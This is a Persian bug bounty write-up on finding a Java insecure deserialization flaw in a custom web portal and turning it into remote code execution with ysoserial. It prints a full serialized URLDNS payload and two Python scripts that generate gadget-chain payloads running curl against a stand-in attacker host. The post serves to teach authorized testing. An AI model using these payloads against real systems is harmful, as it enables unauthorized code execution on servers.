نگاره‌هایی پیرامون امنیت، شبکه و رمزنگاری

26 ژانویه 2022

حدودا آبان امسال (۱۴۰۰) بود که به یک برنامه خصوصی در هکروان دعوت شدم و با توجه به اسکوپ نسبتا خوبش، تصمیم گرفتم یه مدت زمانی رو صرف تست کردنش کنم. این پست درباره یکی از آسیب‌پذیری هایی هست که روی این برنامه پیدا کردم و منجر به RCE شد.

ریکان

استراتژی ریکان من در این مرحله پیدا کردن دارایی و ساب دامین یکتا یا خاص نبود و فقط دنبال وب اپلیکیشن‌هایی می‌گشتم که فیچرهای مختلفی مثل لاگین و آپلود فایل و غیره داشته باشن تا روی اونا عمیق کار کنم یا به اصطلاح دیپ بشم. بعد مدتی به یه پرتال با فیچر های مختلف رسیدم.

حالا نوبت ریکان خود پرتال بود تا با قابلیت هاش بیشتر آشنا بشم. تو این مرحله معمولا سعی میکنم دقیقا مثل یک کاربر عادی فقط از وب اپلیکیشن استفاده کنم و هر چیزی که به نظرم مهم اومد رو نوت برداری کنم. وقتی نوت برداری تموم شد، Burp رو باز کردم و همه در خواست ها رو بررسی کردم.

شروع فرآیند کشف آسیب‌پذیری

ویژگی ای که جذبش شدم Custom بودن این پرتال بود، معمولا اینجور پرتال ها، CMS ها و forum ها نسبت به نسخه‌های آماده (مثل WordPress) آسیب‌پذیرتر هستند. وقتی که Burp در بک گراند درخواست‌ها رو دریافت میکرد، بخش‌های مختلف رو چک کردم تا رسیدم به یک صفحه که حاوی یه لیست بود، یک لیست که وقتی کاربر به انتهای اون می‌رسید جاوا اسکریپت یه درخواست به سمت سرور ارسال میکرد تا ادامه لیست رو لود کنه. درخواست Ajax این شکلی بود:

https://target.com/api/v1/list?size=25&after=rO0ARG9uYmFsIENoaSBIYXN0aSBJbmphPz8/IEluamEgZmFnaGF0IHNlcmlhbGl6ZWQgYmFzZTY0IHN0cmluZyBib29kIDop

اولین چیزی که به ذهنم رسید دیکد کردن Base64 بود. بعد دیکد کردن متوجه شدم که مقدار باینری داره اما یک سری از کاراکتر ها دیکد شده بود (عکس زیر):

همونطور که تو عکس مشخصه عبارت Java کامل دیکد شد که توجهم رو جلب کرد. از روی ظاهر حدس زدم که یه مقدار serialized باشه (بعد یکم تحقیق مطمئن شدم چون بیس ۶۴ با rO0 شروع شده).

Deserialization

همونطور که میدونین Serialization یعنی فرآیند تبدیل یک شی (Object) به فرمتی که بتوان آن را سیو یا در شبکه منتقل کرد. به عکس این فرآیند Deserialization یا دی سریالایز کردن میگیم (بیشتر). بعضی برنامه ها از سریالایز کردن برای ثبت یک حالت یا state استفاده و بعدا همون مقدار رو دی سریالایز میکنن (درست مثل وب اپلیکیشنی که داریم تست میکنیم). اما اگه برنامه ورودی ناامنی رو Deserialize کنه چه اتفاقی می‌افته؟ دقیقا همینجاست که آسیب پذیری Insecure Deserialization بوجود میاد. در این آسیب پذیری که در OWASP Top 10 2021 هم حضور داره (A8:2021)، مهاجم مقدار Serialized مخرب و بدخواه خودشو به عنوان ورودی به برنامه میده که اجازه خیلی کارا از Privilege Escalation تا RCE رو بهش میده. این آسیب پذیری میتونه در هر زبانی رخ بده ولی تمرکز من روی جاوا بود (همین آسیب‌پذیری در NodeJS که تبدیل به RCE شد).

کشف آسیب‌پذیری

همونطور که قبل‌تر هم اشاره کردم، بعد دیدن مقدار serialized شروع به تحقیق درباره این فرآیند در جاوا کردم، با اینکه هیچ وقت به تست وایت باکس علاقه نداشتم اما درباره توابع سریالایز در جاوا هم تحقیق کردم (منابع رو میتونین آخر مقاله ببینین). در آخر و به عنوان نتیجه متوجه شدم که ورودی های مختلفی میتونیم به یک برنامه جاوایی بدیم مثلا دو نمونه:

Hex signature         ->   AC ED 00 05
Base64 signature   ->   rO0

وب اپلیکیشن مورد هدف ما از Base64 استفاده می‌کنه، پس باید دنبال راهی باشیم که یک مقدار Serialized مخرب برای RCE بسازیم. اما قبل اون باید مطمئن شیم که تارگت آسیب پذیره پس به PoC نیاز بود. از دو راه میتونستم تست کنم، اول اینکه خودم کد جاوا بنویسم (جاوا بلد نیستم) و دوم، از PoC و اکسپلویت های آماده استفاده کنم.

قطعا راه دوم برای من در این موقعیت بهتره (هرچند که اسکریپت کیدی بودن خوب نیست 🙂 )، برای همین توی GitHub دنبال PoC گشتم و رسیدم به ysoserial. این ابزار یا بهتره بگم PoC پیلود های مختلفی رو با توجه به نسخه ها و توابع مختلف تولید میکنه، یکی از این Payloadها، URLDNS هست که از ما یک URL میگیره و پیلودی رو تولید میکنه که اگه برنامه آسیب‌پذیر اون رو Deserialize کنه یک کوئری DNS به اون دامین ارسال میکنه. درواقع یک جور تست Out of band باید انجام میدادم تا مطمئن شم که هدف آسیب پذیر هست. پیلود رو ساختم و به عنوان ورودی به سایت دادم و … :

پیلودی که استفاده کردم:

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QADWhhY2tlcm1hbi5jb210AABxAH4ABXQABGh0dHBweHQAFGh0dHA6Ly9oYWNrZXJtYW4uY29teA==

این یعنی که تارگت آسیب‌پذیره و میتونیم بریم سراغ اکسپلویت.

اکسپلویت آسیب‌پذیری

تا اینجا تقریبا مطمئن بودم که میتونم به RCE برسم، اما مشکل اصلی دقیقا همینجا شروع شد. DNS query چیزی درباره ایمپکت یا شدت آسیب‌پذیری معلوم نمی‌کنه و باید این باگ رو اکسپلویت می‌کردم. دوباره از ysoserial کمک گرفتم اما تعجب کردم چون هیچ کدوم از پیلود هاش جواب نداد (حداقل من پیلودی رو ندیدم که جواب بده)، با خودم فکر کردم که ممکنه نشه اکسپلویتش کرد و تصمیم گرفتم برم سراغ شکار باگ های دیگه.

بعد حدود یکی دو هفته دوباره روش وقت گذاشتم و تصمیم گرفتم به هر طریقی اکسپلویتش کنم. باز دو راه داشتم، اول نوشتن یه کد جاوا که بهم مقدار سریالایز مخرب رو بده و دوم، پیدا کردن اکسپلویت آماده. حدس میزدم که قبل من کسی همچین کدی رو نوشته باشه پس باز راه دوم رو انتخاب کردم. دوباره سرچ کردم، این بار رسیدم به چند نسخه fork شده از ysoserial که یک سری آپشن‌ها و پیلودها اضافه کرده بودن، همه این پیلودها رو نمی‌تونستم دستی تست کنم. برای همین یه اسکریپت پایتون نوشتم که همه پیلود های ممکن رو بسازه و داخل یه فایل ذخیره کنه و بعد اون فایل رو به عنوان یک وردلیست به ابزار Burp Intruder بدم (این ایده رو قبلا دیده بودم). اسکریپت نهایی یه چیزی شبیه این بود:

import os

modes = [] # All payload names here

collab = "attacker.com"
payload = f"curl -s https://rce.{collab}/poc"

for i in range(0,6):

    for mode in modes:
            result = os.popen('java -jar ysoserial' + f"{i}" + '.jar ' + mode + ' "' + payload + '" | base64 -w 0').read()

    if result != "":
            print(result)
    else:
            print("Donno but something is going wrong :/")

اسکریپت رو اجرا و خروجی رو داخل فایل ذخیره کردم. کار Intruder تموم شد اما باز نتیجه ای نداشت و درخواستی به سمت سرورم نیومد.

تلاش بیشتر، نتیجه

بعد نتیجه ندادن Intruder تقریبا ناامید شده بودم که به رسپانس ها نگاه کردم، Status Code بعضی درخواست ها ۴۰۰ بود و یا در بعضی خطا خود جاوا داخل جواب بود، به پیلودها نگاه کردم و متوجه شدم که یک سری کاراکتر ها در بیس ۶۴، پیلود رو خراب میکنه (مثلا +) و این توی هیچ کدوم از نسخه های ysoserial که داشتم هندل نمی‌شد. اسکریپت پایتون رو تغییر دادم و پیلود ها رو قبل چاپ URL Encode کردم و تمام پیلود ها رو دوباره تست کردم. بعد چند ثانیه … :

این یعنی تونستم دستور Curl رو با موفقیت روی سرور اجرا کنم (RCE). بعد پیدا کردن پیلود و نسخه ysoserial ای که جواب داد، یک اسکریپت پایتون برای بازتولید راحت تر آسیبب‌پذیری نوشتم:

import os
import urllib.parse

mode = "THAT_FOUNDED_SUITABLE_MODE"

collab = input("Enter your collaborator domain (e.g. attacker.com)> ")
payload = f"curl -s https://{collab}/poc"

result = os.popen('java -jar ysoserial4.jar ' + mode + ' "' + payload + '" | base64 -w0').read()

encoded = urllib.parse.quote_plus(result)

if encoded != "":
    print("Copy the following payload:\n\n")
    print(encoded)
else:
    print("Donno but something is going wrong :/")

در آخر، تنها کاری که کردم یه فایل poc.txt داخل دایرکتوری tmp ساختم و در گزارش آسیب‌پذیری عنوان کردم. معمولا تا همین حد برای گزارش کافیه.

درس هایی که گرفتم

  • حتما هر Base64 یا عبارت انکد شده‌ای رو Decode کنیم
  • همیشه استفاده از ابزار آماده خوب نیست، اگه من راه اول رو انتخاب میکردم و شروع به کد زدن به جاوا میکردم شاید سریع‌تر این آسیب‌پذیری رو اکسپلویت میکردم
  • تمام قابلیت های یک وب اپلیکیشن رو تست کنیم، حتی تک تک دکمه‌ها. بعضی وقتا نیازه که صفحه رو هم اسکرول کنیم 🙂
  • گاهی باید کار هایی که علاقه ای بهشون نداریم رو هم انجام بدیم.
  • در آخر هم باید اضافه کنم که Burp Intruder قابلیت انکد URL پیلود ها رو داره اما با توجه به غیر فعال بودن اون در Burp من باعث ایجاد ارور شد. هرچند من این مشکل رو با خود اسکریپت پایتون حل کردم اما اگه نگاه درستی به Intruder داشتم، میتونستم در تلاش اول به RCE برسم.

ممنون از یاشار بابت انتشار این پست و مرسی از شما که خوندین 🙂

من رو هم میتونین در توییتر دنبال کنین.

منابع

1 پست نوشته شده
حدود ۶-۷ سال از ۱۸ سالی که زندگی کردم رو با صفر و یک دنیای کامپیوتر گذروندم. ۵ سالشو برنامه نویس بودم و بعدشو توی دنیای باگ بانتی و به ویژه امنیت وب سپری کردم. متنفر از مدرسه و دانشگاه، عاشق ریسرچ و ارائه و نوشتن.
  • به اشتراک بگذارید:
  1. reza گفت:

    ممنون و عالی. معانی ریکان و RCEهم اگه میشه بگید و توضیج بدین چیه دقیقا با سپاس

  2. saman گفت:

    عالیییی، واقعا write up فوق العاده ای بود. ممنون که تجربیاتت را به اشتراک میزاری. امیدوارم همیشه موفق باشی.

  3. امین گفت:

    بسیار عالی، ممنون که تجربیاتتان را به اشتراک می گذارید.
    موفق باشید.

  4. علی گفت:

    سلام یه باگ بانتی خیلی مهمی دارم باگ ssrf هست
    میتونیم با هم صحبت کنیم؟ آیدی تلگرام بده یا به ایمیلم پیام بده
    مدیر سایت رو میشناسم و مطمئنم جایزه خوبی میده

دیدگاه شما در مورد سامان